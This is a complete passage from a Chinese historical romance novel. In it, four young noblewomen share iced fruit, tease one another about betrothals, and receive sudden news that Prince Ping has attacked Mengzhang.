花朝节结束,黎书意继续投入国子监的课业之中。天气愈渐暖和,阳光越发炽热,树木更添繁茂,每日上下学中,不知不觉夏日悄然来临。 这天,花府送来一份帖子,花英在贴上说是严千隐在木犀采风,从那里运了一箱荔枝和其他吃食到她那里,遂邀请友人们一同享用。 翌日,她带上一盒精致的小点心,便上门赴约了。 花府位于紫玉巷,府邸恢弘大气,层层递进,四通八达,雕甍绣槛,入府后,府中侍女将她带至一个佳木葱茏的院落。 刚走进院里,从不远处飘来几道朗笑声,黎书意循声一看,见池边凉亭内,花英、李诗施和魏慕依正在谈笑。 不多时,她走进凉亭,亭内石桌上摆着两大盘冰镇水果,有桃子、荔枝、甘橘等。将点心放到桌上,她在石凳上坐下,加入谈笑。 日暖风和,天高云淡,果肉甘美,冰饮清爽,四个女孩闲坐一处,享受着幽静的午后时光。 “嗯,味道真不错。”李诗施将荔枝送入嘴中,吃得享受,待吐了果核,她转向花英道,“他对你倒是颇上心的,就是大半时间都在外头采风,而你,你成天不是在皇宫就是在军营,你们就没有成亲的打算?” “那你呢,与卓锦宸什么时候成亲?”花英反问。 李诗施被问噎住,顿了一顿,尴尬回道:“再等等。” 花英飒爽洒脱,严千隐则淡然超脱,二人虽性格迥异却又互补,他们之间的感情是一种心灵契合的平静之爱。 李诗施开朗大方,卓锦宸为人豪爽,二人就是一对天生的欢喜冤家,日常的吵嘴不仅没让他们的感情生分,反而越吵感情越好。 尽管两对爱侣的相处方式不同,但都十分美好,黎书意正在心里这般感慨着,魏慕依朝她看了过来,搭茬道:“嘿嘿,我们当中,可是有个刚刚定亲了的。” 斗嘴的李诗施与花英闻声也齐转过头,正有滋有味地看戏,焦点突然转到自己这里,黎书意吃东西的动作慢慢顿住。 是的,她定亲了。 花朝节过去没几天,百里烜赫便向陛下请旨赐婚了,第二日,父亲被召入宫中询问此事,因着她与百里烜赫两情相悦,年岁也差不多了,父亲自然同意,回来时同她一说,她着实吃了一惊。 尽管心中毫无准备,但是定亲的对象品貌俱佳,又是她喜欢的,更没有难以处理的婆媳关系,她没道理拒绝,于是点头应下,亲事就这么提上日程了。 “可有计划好何时成婚?”李诗施八卦地问。 黎书意轻咳一声道:“这事还早。” “都定亲了,还能早到哪里去!”花英揶揄。 她被说得面红耳热,索性不接话,边上的三人却是更变本加厉,只管看着她笑。 正笑着,一个小厮快步走到她们跟前。 花英见状随口问他:“干什么,这般慌慌张张的?” 小厮回说:“大姑娘,老爷找您。” “何事?”花英闻言正了脸色。 “老爷刚收到急报,听报信人说,西景那边,似乎是平王已经攻进了孟章!”